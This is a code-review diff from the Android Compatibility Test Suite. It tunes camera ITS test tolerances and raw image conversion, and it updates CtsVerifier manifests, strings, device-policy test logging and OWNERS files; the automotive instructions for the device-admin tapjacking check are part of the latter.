Merge "Create EventlibService." into sc-v2-dev
diff --git a/apps/CameraITS/config.yml b/apps/CameraITS/config.yml
index bc35cb1..fc712b3 100644
--- a/apps/CameraITS/config.yml
+++ b/apps/CameraITS/config.yml
@@ -44,7 +44,7 @@
test_length: 7
debug_mode: "False" # quotes are needed here
chart_distance: 25
- rotator_cntl: <controller-type> # can be arduino or canakit
+ rotator_cntl: <controller-type> # arduino, canakit, or as-is for manual
rotator_ch: <controller-channel>
camera: <camera-id>
diff --git a/apps/CameraITS/tests/its_base_test.py b/apps/CameraITS/tests/its_base_test.py
index 1c10562..afa0128 100644
--- a/apps/CameraITS/tests/its_base_test.py
+++ b/apps/CameraITS/tests/its_base_test.py
@@ -160,6 +160,7 @@
self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
self.tablet.adb.shell('am force-stop com.google.android.apps.photos')
self.tablet.adb.shell('am force-stop com.android.gallery3d')
+ self.tablet.adb.shell('am force-stop com.sec.android.gallery3d')
def set_tablet_landscape_orientation(self):
"""Sets the screen orientation to landscape.
diff --git a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
index 5b1b74b..01fbb77 100644
--- a/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
+++ b/apps/CameraITS/tests/scene0/test_solid_color_test_pattern.py
@@ -226,8 +226,12 @@
'testPatternData: %s', captured_pattern,
str(cap['metadata']['android.sensor.testPatternData']))
# Save test pattern image
- img = image_processing_utils.convert_capture_to_rgb_image(
- cap, props=props)
+ if fmt['format'] == 'yuv':
+ img = image_processing_utils.convert_capture_to_rgb_image(
+ cap, props=props)
+ else:
+ img = image_processing_utils.convert_capture_to_rgb_image(
+ cap, props=props, apply_ccm_raw_to_rgb=False)
captured_color = color['color']
image_processing_utils.write_image(
img,
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
index 4f589ce..710e207 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_advanced.py
@@ -15,11 +15,11 @@
import logging
+import math
import os.path
import matplotlib
from matplotlib import pylab
from mobly import test_runner
-import numpy as np
import its_base_test
import camera_properties_utils
@@ -29,17 +29,15 @@
LINEAR_TONEMAP_CURVE = [0.0, 0.0, 1.0, 1.0]
LOCKED = 3
-LUMA_DELTA_THRESH = 0.05
-LUMA_LOCKED_TOL = 0.05
+LUMA_DELTA_ATOL = 0.05
+LUMA_DELTA_ATOL_SAT = 0.10
+LUMA_SAT_THRESH = 0.75 # luma value at which ATOL changes from MID to SAT
NAME = os.path.splitext(os.path.basename(__file__))[0]
PATCH_H = 0.1 # center 10%
PATCH_W = 0.1
PATCH_X = 0.5 - PATCH_W/2
PATCH_Y = 0.5 - PATCH_H/2
THRESH_CONVERGE_FOR_EV = 8 # AE must converge within this num auto reqs for EV
-YUV_FULL_SCALE = 255.0
-YUV_SAT_MIN = 250.0
-YUV_SAT_TOL = 3.0
def create_request_with_ev(ev):
@@ -122,6 +120,10 @@
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
for cap in caps:
if cap['metadata']['android.control.aeState'] == LOCKED:
+ ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+ if ev_meta != ev:
+ raise AssertionError(
+ f'EV comp capture != request! cap: {ev_meta}, req: {ev}')
lumas.append(extract_luma_from_capture(cap))
break
if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
@@ -133,6 +135,8 @@
i_mid = len(ev_steps) // 2
luma_normal = lumas[i_mid] / ev_shifts[i_mid]
expected_lumas = [min(1.0, luma_normal*shift) for shift in ev_shifts]
+ luma_delta_atols = [LUMA_DELTA_ATOL if l < LUMA_SAT_THRESH
+ else LUMA_DELTA_ATOL_SAT for l in expected_lumas]
# Create plot
pylab.figure(NAME)
@@ -145,17 +149,15 @@
matplotlib.pyplot.savefig(
'%s_plot_means.png' % os.path.join(log_path, NAME))
- luma_diffs = [expected_lumas[i]-lumas[i] for i in range(len(ev_steps))]
- max_diff = max(abs(i) for i in luma_diffs)
- avg_diff = abs(np.array(luma_diffs)).mean()
- logging.debug(
- 'Max delta between modeled and measured lumas: %.4f', max_diff)
- logging.debug(
- 'Avg delta between modeled and measured lumas: %.4f', avg_diff)
- if max_diff > LUMA_DELTA_THRESH:
- raise AssertionError(f'Max delta between modeled and measured '
- f'lumas: {max_diff:.3f}, '
- f'TOL: {LUMA_DELTA_THRESH}.')
+ for i, luma in enumerate(lumas):
+ luma_delta_atol = luma_delta_atols[i]
+ logging.debug('EV step: %3d, luma: %.3f, model: %.3f, ATOL: %.2f',
+ ev_steps[i], luma, expected_lumas[i], luma_delta_atol)
+ if not math.isclose(luma, expected_lumas[i],
+ abs_tol=luma_delta_atol):
+ raise AssertionError('Modeled/measured luma deltas too large! '
+ f'meas: {lumas[i]}, model: {expected_lumas[i]}, '
+ f'ATOL: {luma_delta_atol}.')
if __name__ == '__main__':
diff --git a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
index 379cc11..7d8b9f2 100644
--- a/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
+++ b/apps/CameraITS/tests/scene1_1/test_ev_compensation_basic.py
@@ -29,7 +29,8 @@
import its_session_utils
LOCKED = 3
-LUMA_LOCKED_TOL = 0.05
+LUMA_LOCKED_RTOL_EV_SM = 0.05
+LUMA_LOCKED_RTOL_EV_LG = 0.10
NAME = os.path.splitext(os.path.basename(__file__))[0]
NUM_UNSATURATED_EVS = 3
PATCH_H = 0.1 # center 10%
@@ -87,6 +88,11 @@
props['android.control.aeCompensationStep'])
steps_per_ev = int(1.0 / ev_per_step)
evs = range(-2 * steps_per_ev, 2 * steps_per_ev + 1, steps_per_ev)
+ luma_locked_rtols = [LUMA_LOCKED_RTOL_EV_LG,
+ LUMA_LOCKED_RTOL_EV_SM,
+ LUMA_LOCKED_RTOL_EV_SM,
+ LUMA_LOCKED_RTOL_EV_SM,
+ LUMA_LOCKED_RTOL_EV_LG]
# Converge 3A, and lock AE once converged. skip AF trigger as
# dark/bright scene could make AF convergence fail and this test
@@ -100,7 +106,8 @@
fmt = capture_request_utils.get_smallest_yuv_format(
props, match_ar=match_ar)
lumas = []
- for ev in evs:
+ for j, ev in enumerate(evs):
+ luma_locked_rtol = luma_locked_rtols[j]
# Capture a single shot with the same EV comp and locked AE.
req = create_request_with_ev(ev)
caps = cam.do_capture([req]*THRESH_CONVERGE_FOR_EV, fmt)
@@ -112,14 +119,19 @@
image_processing_utils.write_image(
img, f'{test_name_w_path}_ev{ev}_frame{i}.jpg')
if cap['metadata']['android.control.aeState'] == LOCKED:
+ ev_meta = cap['metadata']['android.control.aeExposureCompensation']
+ logging.debug('cap EV compensation: %d', ev_meta)
+ if ev != ev_meta:
+ raise AssertionError(
+ f'EV compensation cap != req! cap: {ev_meta}, req: {ev}')
luma = extract_luma_from_capture(cap)
luma_locked.append(luma)
if i == THRESH_CONVERGE_FOR_EV-1:
lumas.append(luma)
if not math.isclose(min(luma_locked), max(luma_locked),
- rel_tol=LUMA_LOCKED_TOL):
+ rel_tol=luma_locked_rtol):
raise AssertionError(f'AE locked lumas: {luma_locked}, '
- f'RTOL: {LUMA_LOCKED_TOL}')
+ f'RTOL: {luma_locked_rtol}')
logging.debug('lumas in AE locked captures: %s', str(lumas))
if caps[THRESH_CONVERGE_FOR_EV-1]['metadata'][
'android.control.aeState'] != LOCKED:
diff --git a/apps/CameraITS/utils/image_processing_utils.py b/apps/CameraITS/utils/image_processing_utils.py
index 23432f1..a364b53 100644
--- a/apps/CameraITS/utils/image_processing_utils.py
+++ b/apps/CameraITS/utils/image_processing_utils.py
@@ -49,7 +49,8 @@
def convert_capture_to_rgb_image(cap,
ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
yuv_off=DEFAULT_YUV_OFFSETS,
- props=None):
+ props=None,
+ apply_ccm_raw_to_rgb=True):
"""Convert a captured image object to a RGB image.
Args:
@@ -58,6 +59,7 @@
yuv_off: (Optional) offsets to subtract from each of Y,U,V values.
props: (Optional) camera properties object (of static values);
required for processing raw images.
+ apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
Returns:
RGB float-3 image array, with pixel values in [0.0, 1.0].
@@ -82,7 +84,8 @@
elif cap['format'] == 'raw' or cap['format'] == 'rawStats':
assert props is not None
r, gr, gb, b = convert_capture_to_planes(cap, props)
- return convert_raw_to_rgb_image(r, gr, gb, b, props, cap['metadata'])
+ return convert_raw_to_rgb_image(
+ r, gr, gb, b, props, cap['metadata'], apply_ccm_raw_to_rgb)
elif cap['format'] == 'y8':
y = cap['data'][0: w * h]
return convert_y8_to_rgb_image(y, w, h)
@@ -381,7 +384,7 @@
def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane, props,
- cap_res):
+ cap_res, apply_ccm_raw_to_rgb=True):
"""Convert a Bayer raw-16 image to an RGB image.
Includes some extremely rudimentary demosaicking and color processing
@@ -396,9 +399,10 @@
in the Bayer image, with pixels in the [0.0, 1.0] range.
props: Camera properties object.
cap_res: Capture result (metadata) object.
+ apply_ccm_raw_to_rgb: (Optional) boolean to apply color correction matrix.
Returns:
- RGB float-3 image array, with pixel values in [0.0, 1.0]
+ RGB float-3 image array, with pixel values in [0.0, 1.0]
"""
# Values required for the RAW to RGB conversion.
assert props is not None
@@ -429,7 +433,9 @@
h, w = r_plane.shape[:2]
img = numpy.dstack([r_plane, (gr_plane + gb_plane) / 2.0, b_plane])
img = (((img.reshape(h, w, 3) - black_levels) * scale) * gains).clip(0.0, 1.0)
- img = numpy.dot(img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
+ if apply_ccm_raw_to_rgb:
+ img = numpy.dot(
+ img.reshape(w * h, 3), ccm.T).reshape(h, w, 3).clip(0.0, 1.0)
return img
diff --git a/apps/CameraITS/utils/sensor_fusion_utils.py b/apps/CameraITS/utils/sensor_fusion_utils.py
index 6ce53b1..59f5a60 100644
--- a/apps/CameraITS/utils/sensor_fusion_utils.py
+++ b/apps/CameraITS/utils/sensor_fusion_utils.py
@@ -234,12 +234,15 @@
elif rotate_cntl.lower() == 'canakit':
canakit_serial_port = serial_port_def('Canakit')
+ else:
+ logging.info('No rotation rig defined. Manual test: rotate phone by hand.')
+
# rotate phone
logging.debug('Rotating phone %dx', num_rotations)
for _ in range(num_rotations):
if rotate_cntl == 'arduino':
arduino_rotate_servo(rotate_ch, arduino_serial_port)
- else:
+ elif rotate_cntl == 'canakit':
canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'ON')
canakit_set_relay_channel_state(canakit_serial_port, rotate_ch, 'OFF')
logging.debug('Finished rotations')
diff --git a/apps/CrossProfileTestApp/OWNERS b/apps/CrossProfileTestApp/OWNERS
index e889bfe..c3feb80 100644
--- a/apps/CrossProfileTestApp/OWNERS
+++ b/apps/CrossProfileTestApp/OWNERS
@@ -1,6 +1,2 @@
# Bug component: 149743808
-sandness@google.com
-arangelov@google.com
-alexkershaw@google.com
-scottjonathan@google.com
-kholoudm@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
\ No newline at end of file
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 117d037..9942995 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -18,11 +18,10 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.cts.verifier"
android:versionCode="5"
- android:versionName="12_r1">
+ android:versionName="12L_r1">
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="31"/>
- <uses-permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT" />
<uses-permission android:name="android.car.permission.CAR_POWERTRAIN" />
<uses-permission android:name="android.car.permission.READ_CAR_POWER_POLICY" />
<uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
@@ -136,6 +135,8 @@
<meta-data android:name="test_category" android:value="@string/test_category_device_admin" />
<meta-data android:name="test_required_features"
android:value="android.software.device_admin" />
+ <meta-data android:name="test_excluded_features"
+ android:value="android.hardware.type.watch" />
<meta-data android:name="display_mode"
android:value="single_display_mode" />
</activity>
@@ -4018,6 +4019,8 @@
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT" />
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT" />
+ <action android:name="com.android.cts.verifier.managedprovisioning.action.CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.cts.intent.category.MANUAL_TEST" />
</intent-filter>
@@ -5197,21 +5200,6 @@
android:value="multi_display_mode" />
</activity>
- <activity android:name=".car.NightModeTestActivity"
- android:exported="true"
- android:label="@string/night_mode_test">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.cts.intent.category.MANUAL_TEST" />
- </intent-filter>
- <meta-data android:name="test_category" android:value="@string/test_category_car" />
- <meta-data
- android:name="test_required_features"
- android:value="android.hardware.type.automotive"/>
- <meta-data android:name="display_mode"
- android:value="multi_display_mode" />
- </activity>
-
<activity android:name=".car.ParkingBrakeOnTestActivity"
android:exported="true"
android:label="@string/parking_brake_on_test">
diff --git a/apps/CtsVerifier/res/layout/night_mode_test.xml b/apps/CtsVerifier/res/layout/night_mode_test.xml
deleted file mode 100644
index cdba032..0000000
--- a/apps/CtsVerifier/res/layout/night_mode_test.xml
+++ /dev/null
@@ -1,46 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2019 The Android Open Source Project
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
- http://www.apache.org/licenses/LICENSE-2.0
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
- <TextView
- android:id="@+id/night_mode_instruction"
- android:layout_width="match_parent"
- android:layout_height="0dp"
- android:layout_weight="1"
- android:gravity="center"
- android:textSize="50dip" />
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="0dp"
- android:layout_weight="2"
- android:orientation="horizontal">
- <TextView
- android:id="@+id/current_night_mode_value_title"
- android:layout_width="0dp"
- android:layout_weight="2"
- android:layout_height="match_parent"
- android:gravity="center"
- android:text="@string/current_night_mode_value_title"
- android:textSize="50dip" />
- <TextView
- android:id="@+id/current_night_mode_value"
- android:layout_width="0dp"
- android:layout_weight="1"
- android:layout_height="match_parent"
- android:gravity="center"
- android:textSize="50dip" />
- </LinearLayout>
- <include layout="@layout/pass_fail_buttons" />
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0e7ec84..be3bff9 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -187,12 +187,6 @@
implemented gears then the pass button will be enabled.</string>
<string name="expected_gear_selection_title">Expected Gear Selection</string>
<string name="current_gear_selection_title">Current Gear Selection</string>
- <string name="night_mode_test">NIGHT_MODE Test</string>
- <string name="night_mode_test_desc">This test ensures that the NIGHT_MODE vehicle property is
- implemented correctly.\n\nFollow the instructions on the screen to engage and disengage
- NIGHT_MODE through the vehicle HAL. When the instructions are completed, the pass button
- will be enabled.</string>
- <string name="current_night_mode_value_title">Current NIGHT_MODE Value:</string>
<string name="parking_brake_on_test">PARKING_BRAKE_ON Test</string>
<string name="parking_brake_on_test_desc">This test ensures that the
PARKING_BRAKE_ON property is implemented correctly.\n\nFollow the
@@ -252,6 +246,15 @@
Pass the test if the device admin could not be activated while the details
window was being obscured.
</string>
+ <string name="da_tapjacking_instructions" product="automotive">
+ 1. Launch the device admin add screen by pressing the button below.\n
+ 2. Wait for an overlaying transparent activity to show up obscuring the device admin details window.\n
+ 3. The button to activate the admin should be disabled and should not register any taps.\n
+ 4. Wait for the overlaying activity to finish.\n
+ 5. Press \'back\' to exit the device admin details and return to this screen.\n
+ Pass the test if the device admin could not be activated while the details
+ window was being obscured.
+ </string>
<string name="da_tapjacking_button_text">Enable device admin</string>
<!-- Strings for RecentTaskRemovalTestActivity -->
@@ -3596,7 +3599,10 @@
Then you need to set this app as the device owner by running\n
adb shell dpm set-device-owner --user 0 com.android.cts.emptydeviceowner/.EmptyDeviceAdmin
</string>
-
+ <string name="set_device_owner_headless_dialog_text">
+ For this test you need to set the device owner by running\n
+ adb shell dpm set-device-owner --user 0 com.android.cts.verifier/.managedprovisioning.DeviceAdminTestReceiver
+ </string>
<string name="device_owner_remove_device_owner_test">Remove device owner</string>
<string name="device_owner_remove_device_owner_test_info">
Please check in Settings > Security > Device Administrators if CTSVerifier is
@@ -4595,6 +4601,13 @@
automatically. Dismiss the keyguard and a \'Managed User Tests\' should launch.\n
Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
</string>
+ <string name="managed_user_positive_tests_instructions" product="automotive">
+ The positive managed user tests verify policies on a managed user created by a device owner.
+ \n
+ Press Go button to create a managed user, and you will be switched to the managed user
+ automatically; a \'Managed User Tests\' should launch.\n
+ Follow the test instructions and press \'pass\' or \'fail\' to return to this screen.\n
+ </string>
<string name="managed_user_positive_tests_info">
The positive managed user tests verify policies on a managed user created by a device owner.
Proceed to the test cases, then press \'pass\' or \'fail\' to finish this test.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/OWNERS
@@ -1,6 +1,2 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
index 9b54ed3..5fe1f21 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/PolicySerializationTestActivity.java
@@ -16,10 +16,6 @@
package com.android.cts.verifier.admin;
-import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
import android.app.AlertDialog;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
@@ -29,6 +25,7 @@
import android.content.SharedPreferences.Editor;
import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
@@ -37,6 +34,10 @@
import android.widget.TextView;
import android.widget.Toast;
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver;
+
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
@@ -47,7 +48,9 @@
* returning to the test, the activity checks that the device manager is reporting the values
* it set before the user rebooted the device.
*/
-public class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+public final class PolicySerializationTestActivity extends PassFailButtons.ListActivity {
+
+ private static final String TAG = PolicySerializationTestActivity.class.getSimpleName();
/**
* Whether or not to load the expected policy from the preferences and check against
@@ -87,18 +90,16 @@
});
mApplyPolicyButton = findViewById(R.id.apply_policy_button);
- mApplyPolicyButton.setOnClickListener(new OnClickListener() {
- @Override
- public void onClick(View v) {
- applyPolicy();
- }
- });
+ mApplyPolicyButton.setOnClickListener((v) -> applyPolicy());
if (getPackageManager().hasSystemFeature(PackageManager.FEATURE_SECURE_LOCK_SCREEN)) {
mPolicyItems.add(new MaximumFailedPasswordsForWipePolicy(this));
}
mPolicyItems.add(new MaximumTimeToLockPolicy(this));
+
+ Log.d(TAG, "onCreate(): " + mPolicyItems.size() + " policy items: " + mPolicyItems);
+
mAdapter = new PolicyAdapter(this);
setListAdapter(mAdapter);
@@ -113,8 +114,11 @@
for (PolicyItem<?> item : mPolicyItems) {
item.loadExpectedValue(prefs);
item.loadActualValue(mDevicePolicyManager, mAdmin);
+ Log.d(TAG, "loading " + item);
mAdapter.add(item);
}
+ } else {
+ Log.d(TAG, "loadPolicy(): " + LOAD_EXPECTED_POLICY_PREFERENCE + " is false");
}
}
@@ -122,6 +126,7 @@
Random random = new Random();
mAdapter.clear();
for (PolicyItem<?> item : mPolicyItems) {
+ Log.d(TAG, "Adding " + item);
item.setRandomExpectedValue(random);
item.resetActualValue();
mAdapter.add(item);
@@ -130,6 +135,7 @@
SharedPreferences prefs = getPreferences(MODE_PRIVATE);
SharedPreferences.Editor editor = prefs.edit();
editor.clear();
+ Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to false");
editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, false);
editor.apply();
@@ -140,12 +146,15 @@
Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN,
DeviceAdminTestReceiver.getReceiverComponentName());
+ Log.d(TAG, "Starting " + intent);
startActivityForResult(intent, ADD_DEVICE_ADMIN_REQUEST_CODE);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
+ Log.d(TAG, "onActivityResult(): req=" + requestCode + ", resp=" + resultCode);
+
switch (requestCode) {
case ADD_DEVICE_ADMIN_REQUEST_CODE:
handleAddDeviceAdminResult(resultCode, data);
@@ -154,22 +163,25 @@
}
private void handleAddDeviceAdminResult(int resultCode, Intent data) {
- if (resultCode == RESULT_OK) {
- ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
- for (PolicyItem<?> item : mPolicyItems) {
- item.applyExpectedValue(mDevicePolicyManager, admin);
- }
-
- SharedPreferences prefs = getPreferences(MODE_PRIVATE);
- SharedPreferences.Editor editor = prefs.edit();
- editor.clear();
- editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
- for (PolicyItem<?> item : mPolicyItems) {
- item.saveExpectedValue(editor);
- }
- editor.apply();
- showRebootDialog();
+ if (resultCode != RESULT_OK) {
+ Log.w(TAG, "handleAddDeviceAdminResult(): invalid result: " + resultCode);
+ return;
}
+ ComponentName admin = DeviceAdminTestReceiver.getReceiverComponentName();
+ for (PolicyItem<?> item : mPolicyItems) {
+ item.applyExpectedValue(mDevicePolicyManager, admin);
+ }
+
+ SharedPreferences prefs = getPreferences(MODE_PRIVATE);
+ SharedPreferences.Editor editor = prefs.edit();
+ editor.clear();
+ Log.d(TAG, "setting LOAD_EXPECTED_POLICY_PREFERENCE to true");
+ editor.putBoolean(LOAD_EXPECTED_POLICY_PREFERENCE, true);
+ for (PolicyItem<?> item : mPolicyItems) {
+ item.saveExpectedValue(editor);
+ }
+ editor.apply();
+ showRebootDialog();
}
private void showRebootDialog() {
@@ -210,7 +222,7 @@
.show();
}
- static class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
+ private static final class PolicyAdapter extends ArrayAdapter<PolicyItem<?>> {
public PolicyAdapter(Context context) {
super(context, android.R.layout.simple_list_item_1);
@@ -241,7 +253,7 @@
}
}
- interface PolicyItem<T> {
+ private interface PolicyItem<T> {
void setRandomExpectedValue(Random random);
@@ -268,7 +280,7 @@
boolean matchesExpectedValue();
}
- static abstract class BasePolicyItem<T> implements PolicyItem<T> {
+ private abstract static class BasePolicyItem<T> implements PolicyItem<T> {
private String mDisplayName;
private T mExpectedValue;
private T mActualValue;
@@ -287,6 +299,7 @@
@Override
public final void loadExpectedValue(SharedPreferences prefs) {
mExpectedValue = getPreferencesValue(prefs);
+ Log.d(TAG, "loaded expected value for " + mDisplayName + ": " + mExpectedValue);
}
protected abstract T getPreferencesValue(SharedPreferences prefs);
@@ -301,6 +314,7 @@
@Override
public final void resetActualValue() {
+ Log.d(TAG, "resetting " + mDisplayName);
mActualValue = null;
}
@@ -344,7 +358,7 @@
}
}
- static abstract class IntegerPolicyItem extends BasePolicyItem<Integer> {
+ private abstract static class IntegerPolicyItem extends BasePolicyItem<Integer> {
private String mPreferenceKey;
@@ -355,16 +369,20 @@
@Override
protected final Integer getPreferencesValue(SharedPreferences prefs) {
- return prefs.getInt(mPreferenceKey, -1);
+ int value = prefs.getInt(mPreferenceKey, -1);
+ Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+ return value;
}
@Override
public final void saveExpectedValue(Editor editor) {
- editor.putInt(mPreferenceKey, getExpectedValue());
+ int value = getExpectedValue();
+ Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+ editor.putInt(mPreferenceKey, value);
}
}
- static abstract class LongPolicyItem extends BasePolicyItem<Long> {
+ private abstract static class LongPolicyItem extends BasePolicyItem<Long> {
private String mPreferenceKey;
@@ -375,89 +393,20 @@
@Override
protected final Long getPreferencesValue(SharedPreferences prefs) {
- return prefs.getLong(mPreferenceKey, -1);
+ long value = prefs.getLong(mPreferenceKey, -1);
+ Log.d(TAG, "loaded pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+ return value;
}
@Override
public final void saveExpectedValue(Editor editor) {
- editor.putLong(mPreferenceKey, getExpectedValue());
+ long value = getExpectedValue();
+ Log.d(TAG, "saving pref for " + getDisplayName() + ": " + mPreferenceKey + "=" + value);
+ editor.putLong(mPreferenceKey, value);
}
}
- static class PasswordQualityPolicy extends IntegerPolicyItem {
-
- private final Context mContext;
-
- public PasswordQualityPolicy(Context context) {
- super(context, R.string.da_password_quality, "password-quality");
- mContext = context;
- }
-
- @Override
- protected Integer getRandomExpectedValue(Random random) {
- int[] passwordQualities = new int[] {
- DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC,
- DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC,
- DevicePolicyManager.PASSWORD_QUALITY_NUMERIC,
- DevicePolicyManager.PASSWORD_QUALITY_SOMETHING
- };
-
- int index = random.nextInt(passwordQualities.length);
- return passwordQualities[index];
- }
-
- @Override
- public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
- deviceManager.setPasswordQuality(admin, getExpectedValue());
- }
-
- @Override
- protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
- ComponentName admin) {
- return deviceManager.getPasswordQuality(admin);
- }
-
- @Override
- protected String getDisplayValue(Integer value) {
- switch (value) {
- case DevicePolicyManager.PASSWORD_QUALITY_ALPHABETIC:
- return mContext.getString(R.string.da_password_quality_alphabetic);
- case DevicePolicyManager.PASSWORD_QUALITY_ALPHANUMERIC:
- return mContext.getString(R.string.da_password_quality_alphanumeric);
- case DevicePolicyManager.PASSWORD_QUALITY_NUMERIC:
- return mContext.getString(R.string.da_password_quality_numeric);
- case DevicePolicyManager.PASSWORD_QUALITY_SOMETHING:
- return mContext.getString(R.string.da_password_quality_something);
- default:
- return Integer.toString(value);
- }
- }
- }
-
- static class PasswordMinimumLengthPolicy extends IntegerPolicyItem {
-
- PasswordMinimumLengthPolicy(Context context) {
- super(context, R.string.da_password_minimum_length, "password-minimum-length");
- }
-
- @Override
- protected Integer getRandomExpectedValue(Random random) {
- return random.nextInt(50);
- }
-
- @Override
- public void applyExpectedValue(DevicePolicyManager deviceManager, ComponentName admin) {
- deviceManager.setPasswordMinimumLength(admin, getExpectedValue());
- }
-
- @Override
- protected Integer getDeviceManagerValue(DevicePolicyManager deviceManager,
- ComponentName admin) {
- return deviceManager.getPasswordMinimumLength(admin);
- }
- }
-
- static class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
+ private static final class MaximumFailedPasswordsForWipePolicy extends IntegerPolicyItem {
MaximumFailedPasswordsForWipePolicy(Context context) {
super(context, R.string.da_maximum_failed_passwords_for_wipe,
@@ -481,7 +430,7 @@
}
}
- static class MaximumTimeToLockPolicy extends LongPolicyItem {
+ private static final class MaximumTimeToLockPolicy extends LongPolicyItem {
MaximumTimeToLockPolicy(Context context) {
super(context, R.string.da_maximum_time_to_lock, "maximum-time-to-lock");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
index e81f301..da336c1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/tapjacking/OverlayingActivity.java
@@ -21,8 +21,9 @@
import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
+import static com.android.cts.verifier.features.FeatureUtil.isWatchOrAutomotive;
+
